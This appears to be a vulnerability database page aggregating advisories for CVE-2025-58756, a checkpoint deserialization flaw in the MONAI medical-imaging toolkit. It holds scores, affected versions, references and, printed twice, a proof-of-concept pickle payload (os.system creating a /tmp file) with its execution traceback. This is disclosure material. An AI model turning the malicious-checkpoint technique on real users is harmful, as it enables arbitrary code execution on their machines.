CVE-2025-58756
MONAI's unsafe torch usage may lead to arbitrary code execution
MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, in model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints. This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from other platforms. Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution. As of time of publication, no known fixed versions are available.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
MONAI's unsafe torch usage may lead to arbitrary code execution
MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, in model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints. This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from other platforms. Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution. As of time of publication, no known fixed versions are available.
- Record
CVE-2025-58756- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
EUVDEUVD-2025-27190
8.8
MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, in model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints. This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from other platforms. Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution. As of time of publication, no known fixed versions are available.
- Record
EUVD-2025-27190- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-6vm5-6jv9-rjpj
8.8
MONAI: Unsafe torch usage may lead to arbitrary code execution
Summary
In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.
This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.
Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.
The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.
import os
import tempfile
import json
import torch
from pathlib import Path
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('touch /tmp/hacker2.txt',))
def test_checkpoint_loader_attack():
temp_dir = Path(tempfile.mkdtemp())
checkpoint_file = temp_dir / "malicious_checkpoint.pt"
malicious_checkpoint = {
'model_state_dict': MaliciousPayload(),
'optimizer_state_dict': {},
'epoch': 100
}
torch.save(malicious_checkpoint, checkpoint_file)
from monai.handlers import CheckpointLoader
import torch.nn as nn
model = nn.Linear(10, 1)
loader = CheckpointLoader(
load_path=str(checkpoint_file),
load_dict={"model": model}
)
class MockEngine:
def __init__(self):
self.state = type('State', (), {})()
self.state.max_epochs = None
self.state.epoch = 0
engine = MockEngine()
loader(engine)
proof_file = "/tmp/hacker2.txt"
if os.path.exists(proof_file):
print("Succes")
#os.remove(proof_file)
return True
else:
print("False")
return False
if __name__ == "__main__":
success = test_checkpoint_loader_attack()
Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log checkpoint_pwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py
Traceback (most recent call last):
File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
success = test_checkpoint_loader_attack()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
loader(engine)
^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
_tree_apply2(_load_object, to_load, checkpoint_obj)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
_tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
return func(x, y)
^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
obj.load_state_dict(chkpt_obj, **kwargs)
File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
Missing key(s) in state_dict: "weight", "bias".
Unexpected key(s) in state_dict: "model_state_dict",…
- Record
GHSA-6vm5-6jv9-rjpj- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
NVD
8.8
MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, in model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints. This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from other platforms. Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution. As of time of publication, no known fixed versions are available.
- Record
CVE-2025-58756- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSV
8.8
MONAI's unsafe torch usage may lead to arbitrary code execution
MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, in model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints. This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from other platforms. Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution. As of time of publication, no known fixed versions are available.
- Record
CVE-2025-58756- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVGHSA-6vm5-6jv9-rjpj
8.8
MONAI: Unsafe torch usage may lead to arbitrary code execution
Summary
In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.
This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.
Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.
The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.
import os
import tempfile
import json
import torch
from pathlib import Path
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('touch /tmp/hacker2.txt',))
def test_checkpoint_loader_attack():
temp_dir = Path(tempfile.mkdtemp())
checkpoint_file = temp_dir / "malicious_checkpoint.pt"
malicious_checkpoint = {
'model_state_dict': MaliciousPayload(),
'optimizer_state_dict': {},
'epoch': 100
}
torch.save(malicious_checkpoint, checkpoint_file)
from monai.handlers import CheckpointLoader
import torch.nn as nn
model = nn.Linear(10, 1)
loader = CheckpointLoader(
load_path=str(checkpoint_file),
load_dict={"model": model}
)
class MockEngine:
def __init__(self):
self.state = type('State', (), {})()
self.state.max_epochs = None
self.state.epoch = 0
engine = MockEngine()
loader(engine)
proof_file = "/tmp/hacker2.txt"
if os.path.exists(proof_file):
print("Succes")
#os.remove(proof_file)
return True
else:
print("False")
return False
if __name__ == "__main__":
success = test_checkpoint_loader_attack()
Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log checkpoint_pwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py
Traceback (most recent call last):
File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
success = test_checkpoint_loader_attack()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
loader(engine)
^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
_tree_apply2(_load_object, to_load, checkpoint_obj)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
_tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
return func(x, y)
^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
obj.load_state_dict(chkpt_obj, **kwargs)
File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
Missing key(s) in state_dict: "weight", "bias".
Unexpected key(s) in state_dict: "model_state_dict",…
- Record
GHSA-6vm5-6jv9-rjpj- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVPYSEC-2025-141
8.8
MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, in model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints. This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from other platforms. Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution. As of time of publication, no known fixed versions are available.
- Record
PYSEC-2025-141- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
monaiPyPI |
through 1.5.0 | 1.5.1 |
monaiPyPI |
before 1.5.1, plus listed versions 0.0.10.1.00.2.00.3.00.4.0 Show 35 moreShow less0.5.00.5.10.5.20.5.30.6.00.7.00.8.00.8.10.9.00.9.11.0.01.0.11.1.01.2.01.3.01.3.11.3.21.3.2rc11.3.3rc11.4.01.4.0rc11.4.0rc101.4.0rc111.4.0rc121.4.0rc21.4.0rc31.4.0rc41.4.0rc51.4.0rc61.4.0rc71.4.0rc81.4.0rc91.4.1rc11.5.01.5.0rc1 |
1.5.1 |
monaiPyPI |
before 1.5.1rc1, plus listed versions 0.0.10.1.00.2.00.3.00.4.0 Show 35 moreShow less0.5.00.5.10.5.20.5.30.6.00.7.00.8.00.8.10.9.00.9.11.0.01.0.11.1.01.2.01.3.01.3.11.3.21.3.2rc11.3.3rc11.4.01.4.0rc11.4.0rc101.4.0rc111.4.0rc121.4.0rc21.4.0rc31.4.0rc41.4.0rc51.4.0rc61.4.0rc71.4.0rc81.4.0rc91.4.1rc11.5.01.5.0rc1 |
1.5.1rc1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-58756 is a high vulnerability (CVSS 8.8) in Monai Medical Open Network For Ai, published September 8, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.75%, the 55th percentile. Fixed in monai 1.5.1.
References
github.com/Project-MONAI/MONAI/security/advisories/GHSA-6vm5-6jv9-rjpj
nvd.nist.gov/vuln/detail/CVE-2025-58756
github.com/Project-MONAI/MONAI/pull/8566
github.com/Project-MONAI/MONAI/commit/948fbb703adcb87cd04ebd83d20dcd8d73bf6259
github.com/pypa/advisory-database/tree/main/vulns/monai/PYSEC-2025-141.yaml
github.com/advisories/GHSA-6vm5-6jv9-rjpj
github.com/CVEProject/cvelistV5/tree/main/cves/2025/58xxx/CVE-2025-58756.json
github.com/Project-MONAI/MONAI
Left out here: the rest of 2 source descriptions. The JSON record has them.